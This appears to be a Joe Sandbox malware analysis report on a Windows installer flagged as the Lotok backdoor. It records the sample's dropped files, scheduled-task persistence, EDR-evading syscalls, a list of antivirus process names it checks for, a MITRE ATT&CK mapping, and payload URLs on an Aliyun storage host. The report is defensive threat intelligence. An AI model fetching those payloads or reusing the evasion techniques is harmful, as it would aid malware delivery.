Source: #U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	Binary or memory string: VMware PCI VMCI Bus Device
Source: #U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	Binary or memory string: vmci.inf_amd64_5e38a278d114b813
Source: #U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	Binary or memory string: VMware VMCI Bus Device
Source: #U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	Binary or memory string: VMware, Inc.00

Source: C:\Users\user\Desktop\#U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Documents\7YbcLf.exe

Code function: 12_2_00007FF752D14330 LdrLoadDll,

12_2_00007FF752D14330

Source: C:\Users\user\Documents\7YbcLf.exe

Code function: 12_2_00007FF752D18904 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

12_2_00007FF752D18904

Source: C:\Users\user\Documents\7YbcLf.exe

12_2_00007FF752D1190C

Source: C:\Users\user\Documents\7YbcLf.exe

Code function: 12_2_00007FF752D1C070 GetProcessHeap,

12_2_00007FF752D1C070

Source: C:\Users\user\Documents\7YbcLf.exe	Code function: 12_2_00007FF752D18904 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		12_2_00007FF752D18904
Source: C:\Users\user\Documents\7YbcLf.exe	Code function: 12_2_00007FF752D129A0 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		12_2_00007FF752D129A0

HIPS / PFW / Operating System Protection Evasion

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\Users\user\Documents\7YbcLf.exe	NtProtectVirtualMemory: Indirect: 0x7FF8EB07497B	Jump to behavior
Source: C:\Users\user\Documents\7YbcLf.exe	NtMapViewOfSection: Direct from: 0x7FF8EB0A1DFE	Jump to behavior
Source: C:\Users\user\Documents\7YbcLf.exe	NtProtectVirtualMemory: Indirect: 0x1AC194C5E51	Jump to behavior
Source: C:\Users\user\Documents\7YbcLf.exe	NtProtectVirtualMemory: Direct from: 0x7FF8EB2E113B	Jump to behavior
Source: C:\Users\user\Documents\7YbcLf.exe	NtProtectVirtualMemory: Direct from: 0x7FF8EB3612CC	Jump to behavior
Source: C:\Users\user\Documents\7YbcLf.exe	NtProtectVirtualMemory: Direct from: 0x7FF8EB082276	Jump to behavior
Source: C:\Users\user\Documents\7YbcLf.exe	NtProtectVirtualMemory: Direct from: 0x7FF8EB301D80	Jump to behavior
Source: C:\Users\user\Documents\7YbcLf.exe	NtAllocateVirtualMemory: Indirect: 0x7FF752D13FE4	Jump to behavior
Source: C:\Users\user\Documents\7YbcLf.exe	NtProtectVirtualMemory: Direct from: 0x7FF8EB34FF73	Jump to behavior
Source: C:\Users\user\Documents\7YbcLf.exe	NtProtectVirtualMemory: Direct from: 0x7FF8EB3417DA	Jump to behavior
Source: C:\Users\user\Documents\7YbcLf.exe	NtOpenFile: Direct from: 0x7FF8EB2CE8AC	Jump to behavior
Source: C:\Users\user\Documents\7YbcLf.exe	NtProtectVirtualMemory: Direct from: 0x7FF8EB0ACDB8	Jump to behavior
Source: C:\Users\user\Documents\7YbcLf.exe	NtProtectVirtualMemory: Direct from: 0x7FF8EB39D668	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	NtDelayExecution: Indirect: 0x1E9EC7	Jump to behavior
Source: C:\Users\user\Documents\7YbcLf.exe	NtUnmapViewOfSection: Direct from: 0x7FF8EB2A977C	Jump to behavior

Source: C:\Users\user\Documents\7YbcLf.exe

Code function: 12_2_00007FF752D1F750 cpuid

12_2_00007FF752D1F750

Source: 7YbcLf.exe, 0000000C.00000002.2364946207.000001AC19289000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: KWatch.exe
Source: 7YbcLf.exe, 0000000C.00000002.2364946207.000001AC19289000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: kxetray.exe
Source: 7YbcLf.exe, 0000000C.00000002.2364946207.000001AC19289000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: vsserv.exe
Source: 7YbcLf.exe, 0000000C.00000002.2364946207.000001AC19289000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: avcenter.exe
Source: 7YbcLf.exe, 0000000C.00000002.2364946207.000001AC19289000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: avp.exe
Source: 7YbcLf.exe, 0000000C.00000002.2364946207.000001AC19289000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: KSafeTray.exe
Source: 7YbcLf.exe, 0000000C.00000002.2364946207.000001AC19289000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: SuperKiller.exe
Source: 7YbcLf.exe, 0000000C.00000002.2364946207.000001AC19289000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: Autoruns.exe
Source: 7YbcLf.exe, 0000000C.00000002.2364946207.000001AC19289000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: 360Safe.exe
Source: 7YbcLf.exe, 0000000C.00000002.2364946207.000001AC19289000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: mcshield.exe
Source: 7YbcLf.exe, 0000000C.00000002.2364946207.000001AC19289000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: rtvscan.exe
Source: 7YbcLf.exe, 0000000C.00000002.2364946207.000001AC19289000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: 360tray.exe
Source: 7YbcLf.exe, 0000000C.00000002.2364946207.000001AC19289000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: ashDisp.exe
Source: 7YbcLf.exe, 0000000C.00000002.2364946207.000001AC19289000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: TMBMSRV.exe
Source: 7YbcLf.exe, 0000000C.00000002.2364946207.000001AC19289000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: 360Tray.exe
Source: 7YbcLf.exe, 0000000C.00000002.2364946207.000001AC19289000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: QUHLPSVC.EXE
Source: 7YbcLf.exe, 0000000C.00000002.2364946207.000001AC19289000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: RavMonD.exe
Source: 7YbcLf.exe, 0000000C.00000002.2364946207.000001AC19289000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: MsMpEng.exe
Source: 7YbcLf.exe, 0000000C.00000002.2364946207.000001AC19289000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: K7TSecurity.exe

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Command and Scripting Interpreter	1 Windows Service	1 Windows Service	11 Masquerading	1 Credential API Hooking	331 Security Software Discovery	Remote Services	1 Credential API Hooking	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 Process Injection	1 Virtualization/Sandbox Evasion	LSASS Memory	1 Virtualization/Sandbox Evasion	Remote Desktop Protocol	1 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 Abuse Elevation Control Mechanism	1 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	1 DLL Side-Loading	1 Abuse Elevation Control Mechanism	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	3 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	111 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
#U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	29%	Virustotal		Browse
#U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	36%	ReversingLabs	Win64.Backdoor.Lotok
SAMPLE	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\Documents\7YbcLf.exe	0%	ReversingLabs
C:\Windows\Temp\aceprocted.sys	21%	ReversingLabs	Win64.Trojan.Generic

Source	Detection	Scanner	Label
https://4p2o8p.oss-cn-beijing.aliyuncs.com/	0%	Avira URL Cloud	safe
http://www.radisson.com/fredericton-nb)	0%	Avira URL Cloud	safe
http://www.simmonscanada.com/)	0%	Avira URL Cloud	safe
https://4p2o8p.oss-cn-beijing.aliyuncs.com/a.gifts	0%	Avira URL Cloud	safe
https://4p2o8p.oss-cn-beijing.aliyuncs.com/a.gifjing.aliyuncs.com/	0%	Avira URL Cloud	safe
http://www.mohawkgroup.com/segments/hospitality)	0%	Avira URL Cloud	safe
http://beautifulchristmas.net	0%	Avira URL Cloud	safe
http://www.kingswoodpark.ca/golf)	0%	Avira URL Cloud	safe
http://www.jeffalpaugh.com/)	0%	Avira URL Cloud	safe
http://www.guestsupply.ca/)	0%	Avira URL Cloud	safe
http://www.emhlaw.com/)	0%	Avira URL Cloud	safe
https://4p2o8p.oss-cn-beijing.aliyuncs.com/s.dat	0%	Avira URL Cloud	safe
https://4p2o8p.oss-cn-beijing.aliyuncs.com/i.dat	0%	Avira URL Cloud	safe
http://www.textilespatlin.com/)	0%	Avira URL Cloud	safe
http://www.campio-group.com/)	0%	Avira URL Cloud	safe
http://www.vatransport.com/)	0%	Avira URL Cloud	safe
http://www.macinteriordesign.com/)	0%	Avira URL Cloud	safe
http://www.corporate.nestle.ca/en)	0%	Avira URL Cloud	safe
http://www.hotelfaubourgmontreal.com/)	0%	Avira URL Cloud	safe
http://www.crowneplaza.com/moncton/crowneplaza)	0%	Avira URL Cloud	safe
http://www.cesdistribution.com/)	0%	Avira URL Cloud	safe
http://www.chocolatelakehotel.com/)	0%	Avira URL Cloud	safe
http://www.kingswoodpark.ca/)	0%	Avira URL Cloud	safe
http://www.centuryamadeus.com/)	0%	Avira URL Cloud	safe
http://www.crowneplaza.com/fredericton/corwneplaza)	0%	Avira URL Cloud	safe
http://www.gfscanada.com/)	0%	Avira URL Cloud	safe
http://www.mohawkgroup.com/durkan)	0%	Avira URL Cloud	safe
https://4p2o8p.oss-cn-beijing.aliyuncs.com/a.gif	0%	Avira URL Cloud	safe
http://www.radissonhotelgroup.com/)	0%	Avira URL Cloud	safe
http://www.hamptoninntruro.com/)	0%	Avira URL Cloud	safe
http://www.cocacola.ca/)	0%	Avira URL Cloud	safe
http://www.mountainviewsuites.ca/)	0%	Avira URL Cloud	safe
https://4p2o8p.oss-cn-beijing.aliyuncs.com/b.gif	0%	Avira URL Cloud	safe
http://www.meublesjlm.com/)	0%	Avira URL Cloud	safe
http://www.embassysuites3.hilton.com/)	0%	Avira URL Cloud	safe
https://4p2o8p.oss-cn-beijing.aliyuncs.com/a.gifhttps://4p2o8p.oss-cn-beijing.aliyuncs.com/b.gifhttp	0%	Avira URL Cloud	safe
http://www.capebretonresorts.com/)	0%	Avira URL Cloud	safe
http://www.irvingenergy.ca/)	0%	Avira URL Cloud	safe
http://www.renwil.com/)	0%	Avira URL Cloud	safe
https://4p2o8p.oss-cn-beijing.aliyuncs.com/d.gif	0%	Avira URL Cloud	safe
http://www.candlewoodsuites.com/montrea)	0%	Avira URL Cloud	safe
http://www.xmlspy.com)	0%	Avira URL Cloud	safe
https://4p2o8p.oss-cn-beijing.aliyuncs.com/c.gif	0%	Avira URL Cloud	safe
http://www.dine-art.com/)	0%	Avira URL Cloud	safe
http://www.super8amherst.com/)	0%	Avira URL Cloud	safe
https://4p2o8p.oss-cn-beijing.aliyuncs.com/s.jpg	0%	Avira URL Cloud	safe
http://www.gktw.org/)	0%	Avira URL Cloud	safe

Domains and IPs

Download Network PCAP: filtered – full

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
4p2o8p.oss-cn-beijing.aliyuncs.com	59.110.190.23	true	false		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://4p2o8p.oss-cn-beijing.aliyuncs.com/i.dat	false	Avira URL Cloud: safe	unknown
https://4p2o8p.oss-cn-beijing.aliyuncs.com/s.dat	false	Avira URL Cloud: safe	unknown
https://4p2o8p.oss-cn-beijing.aliyuncs.com/a.gif	false	Avira URL Cloud: safe	unknown
https://4p2o8p.oss-cn-beijing.aliyuncs.com/b.gif	false	Avira URL Cloud: safe	unknown
https://4p2o8p.oss-cn-beijing.aliyuncs.com/c.gif	false	Avira URL Cloud: safe	unknown
https://4p2o8p.oss-cn-beijing.aliyuncs.com/d.gif	false	Avira URL Cloud: safe	unknown
https://4p2o8p.oss-cn-beijing.aliyuncs.com/s.jpg	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://www.mohawkgroup.com/segments/hospitality)	#U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	false	Avira URL Cloud: safe	unknown
http://www.kingswoodpark.ca/golf)	#U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	false	Avira URL Cloud: safe	unknown
http://beautifulchristmas.net	#U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	false	Avira URL Cloud: safe	unknown
https://4p2o8p.oss-cn-beijing.aliyuncs.com/a.gifjing.aliyuncs.com/	#U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe, 00000000.00000003.2064977246.0000000000510000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ocsp.sectigo.com0	7YbcLf.exe.0.dr	false		high
http://www.guestsupply.ca/)	#U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	false	Avira URL Cloud: safe	unknown
http://www.simmonscanada.com/)	#U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	false	Avira URL Cloud: safe	unknown
https://4p2o8p.oss-cn-beijing.aliyuncs.com/a.gifts	#U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe, 00000000.00000003.2064977246.0000000000510000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://4p2o8p.oss-cn-beijing.aliyuncs.com/	#U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe, 00000000.00000003.2064977246.0000000000510000.00000004.00000020.00020000.00000000.sdmp, #U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe, 00000000.00000003.2064977246.00000000004E8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.jeffalpaugh.com/)	#U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	false	Avira URL Cloud: safe	unknown
http://www.eastlink.ca/)	#U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	false		high
https://www.shutterstock.com/license?utm_source=iptc&utm_medium=googleimages&utm_campaign=we	#U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	false		high
http://www.rogers.com/)	#U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	false		high
http://www.radisson.com/fredericton-nb)	#U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	false	Avira URL Cloud: safe	unknown
https://www.shutterstock.com/image-photo/1937165329?utm_source=iptc&utm_medium=googleimages&	#U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	false		high
http://www.emhlaw.com/)	#U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	false	Avira URL Cloud: safe	unknown
http://www.textilespatlin.com/)	#U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	false	Avira URL Cloud: safe	unknown
http://crl.thawte.com/ThawteTimestampingCA.crl0	aceprocted.sys.0.dr	false		high
http://www.corporate.nestle.ca/en)	#U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	false	Avira URL Cloud: safe	unknown
https://youtu.be/sDsXDjXYycQ)	#U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	false		high
http://www.vatransport.com/)	#U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	false	Avira URL Cloud: safe	unknown
http://www.crowneplaza.com/moncton/crowneplaza)	#U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	false	Avira URL Cloud: safe	unknown
http://www.campio-group.com/)	#U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	false	Avira URL Cloud: safe	unknown
http://www.hotelfaubourgmontreal.com/)	#U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	false	Avira URL Cloud: safe	unknown
http://www.macinteriordesign.com/)	#U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	false	Avira URL Cloud: safe	unknown
http://www.cesdistribution.com/)	#U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	false	Avira URL Cloud: safe	unknown
http://www.kingswoodpark.ca/)	#U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	false	Avira URL Cloud: safe	unknown
http://www.holidayinn.com/truro)	#U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	false		high
http://www.chocolatelakehotel.com/)	#U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	false	Avira URL Cloud: safe	unknown
http://www.centuryamadeus.com/)	#U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	false	Avira URL Cloud: safe	unknown
https://www.shutterstock.com/image-photo/1995742220?utm_source=iptc&utm_medium=googleimages&	#U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	false		high
http://www.ihg.com/canada)	#U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	false		high
http://www.innosetup.com/	#U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	false		high
http://www.samsung.com/business)	#U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	false		high
http://ns.useplus.org/ldf/xmp/1.0/	#U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	false		high
http://www.crowneplaza.com/fredericton/corwneplaza)	#U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	false	Avira URL Cloud: safe	unknown
https://sectigo.com/CPS0	7YbcLf.exe.0.dr	false		high
http://clownfish-translator.com/voicechanger/	#U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	false		high
http://www.samsung.com/ca)	#U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	false		high
http://www.gfscanada.com/)	#U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	false	Avira URL Cloud: safe	unknown
http://ocsp.thawte.com0	aceprocted.sys.0.dr	false		high
http://www.mohawkgroup.com/durkan)	#U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	false	Avira URL Cloud: safe	unknown
http://www.hamptoninntruro.com/)	#U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	false	Avira URL Cloud: safe	unknown
http://www.radissonhotelgroup.com/)	#U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	false	Avira URL Cloud: safe	unknown
http://nsis.sf.net/NSIS_ErrorError	#U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	false		high
http://www.cocacola.ca/)	#U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	false	Avira URL Cloud: safe	unknown
http://www.meublesjlm.com/)	#U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	false	Avira URL Cloud: safe	unknown
http://www.mountainviewsuites.ca/)	#U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	false	Avira URL Cloud: safe	unknown
http://www.embassysuites3.hilton.com/)	#U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	false	Avira URL Cloud: safe	unknown
https://4p2o8p.oss-cn-beijing.aliyuncs.com/a.gifhttps://4p2o8p.oss-cn-beijing.aliyuncs.com/b.gifhttp	#U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe, 00000000.00000003.2064977246.0000000000510000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.capebretonresorts.com/)	#U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	false	Avira URL Cloud: safe	unknown
http://www.renwil.com/)	#U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	false	Avira URL Cloud: safe	unknown
http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t	7YbcLf.exe.0.dr	false		high
https://www.shutterstock.com/image-photo/1927736147?utm_source=iptc&utm_medium=googleimages&	#U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	false		high
http://www.irvingenergy.ca/)	#U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	false	Avira URL Cloud: safe	unknown
http://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#	7YbcLf.exe.0.dr	false		high
http://www.candlewoodsuites.com/montrea)	#U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	false	Avira URL Cloud: safe	unknown
http://www.dine-art.com/)	#U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	false	Avira URL Cloud: safe	unknown
http://www.xmlspy.com)	#U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	false	Avira URL Cloud: safe	unknown
http://www.super8amherst.com/)	#U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	false	Avira URL Cloud: safe	unknown
http://www.remobjects.com/ps	#U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	false		high
http://www.gktw.org/)	#U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
59.110.190.23	4p2o8p.oss-cn-beijing.aliyuncs.com	China		37963	CNNIC-ALIBABA-CN-NET-APHangzhouAlibabaAdvertisingCoLtd	false

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1676348
Start date and time:	2025-04-28 16:38:20 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 20s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 134, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	13
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	#U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe renamed because original name is a hash value
Original Sample Name:	2.0.2.exe
Detection:	MAL
Classification:	mal96.evad.winEXE@2/13@1/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, SIHClient.exe, SgrmBroker.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 184.29.183.29, 52.149.20.212
Excluded domains from analysis (whitelisted): fs.microsoft.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, c.pki.goog, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
10:39:14	API Interceptor	941x Sleep call for process: #U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe modified
16:41:07	Task Scheduler	Run new task: s4I85 path: C:\Users\user\Documents\7YbcLf.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
59.110.190.23	#U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.1.exe	Get hash	malicious	Unknown	Browse
	_____1.0.5 (2).exe	Get hash	malicious	Unknown	Browse
	_____1.0.5 (2).exe	Get hash	malicious	Unknown	Browse
	WA72.85107.1.exe	Get hash	malicious	Unknown	Browse
	Wbb52.76432.7.exe	Get hash	malicious	GhostRat, Nitol	Browse
	#U8f6f#U4ef6#U5b89#U88c5#U7a0b#U5e8f2.0.1.exe	Get hash	malicious	Unknown	Browse
	Wbb52.76432.7.exe	Get hash	malicious	Unknown	Browse
	#U8f6f#U4ef6#U5b89#U88c5#U7a0b#U5e8f2.0.1.exe	Get hash	malicious	Unknown	Browse
	Pa66a.67374.1.exe	Get hash	malicious	Unknown	Browse
	DO2P2.76443.02.exe	Get hash	malicious	GhostRat, Nitol	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
4p2o8p.oss-cn-beijing.aliyuncs.com	#U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.1.exe	Get hash	malicious	Unknown	Browse	59.110.190.23

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CNNIC-ALIBABA-CN-NET-APHangzhouAlibabaAdvertisingCoLtd	#U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.1.exe	Get hash	malicious	Unknown	Browse	59.110.190.23
	Quotation.exe	Get hash	malicious	FormBook	Browse	47.99.76.96
	boatnet.x86.elf	Get hash	malicious	Mirai	Browse	120.79.97.62
	https://www.01caijing.com/weapons/visit.htm?go=http://adp.phpmyrealty.com/sk17Fe5fandy9sFe5yfri2PFe5dx0qdai2Pi2Ps3Rhi2P-sankyWO3dy9Fe5u	Get hash	malicious	Unknown	Browse	182.92.145.92
	250428-d3grlszyax.bin.exe	Get hash	malicious	CobaltStrike, Metasploit	Browse	47.92.166.75
	250428-d3grlszyax.bin.exe	Get hash	malicious	CobaltStrike, Metasploit	Browse	47.92.166.75
	_____1.0.5 (2).exe	Get hash	malicious	Unknown	Browse	59.110.190.23
	_____1.0.5 (2).exe	Get hash	malicious	Unknown	Browse	59.110.190.23
	fBwSO70drq.exe	Get hash	malicious	ReflectiveLoader	Browse	47.97.250.227
	250428-dfq2rsyzbv.bin.exe	Get hash	malicious	Wannacry	Browse	114.55.22.54

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
37f463bf4616ecd445d4a1937da06e19	#U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.1.exe	Get hash	malicious	Unknown	Browse	59.110.190.23
	Quotation request List.exe	Get hash	malicious	Remcos, GuLoader	Browse	59.110.190.23
	AWB 210229572045.docx.doc	Get hash	malicious	Unknown	Browse	59.110.190.23
	adguardInstaller.exe	Get hash	malicious	Unknown	Browse	59.110.190.23
	fBuTJOzoyQ.exe	Get hash	malicious	CryptOne	Browse	59.110.190.23
	c57s18lwKh.exe	Get hash	malicious	Amadey, LummaC Stealer, RHADAMANTHYS, Vidar, Xmrig	Browse	59.110.190.23
	VaN8Wm707H.exe	Get hash	malicious	CryptOne	Browse	59.110.190.23
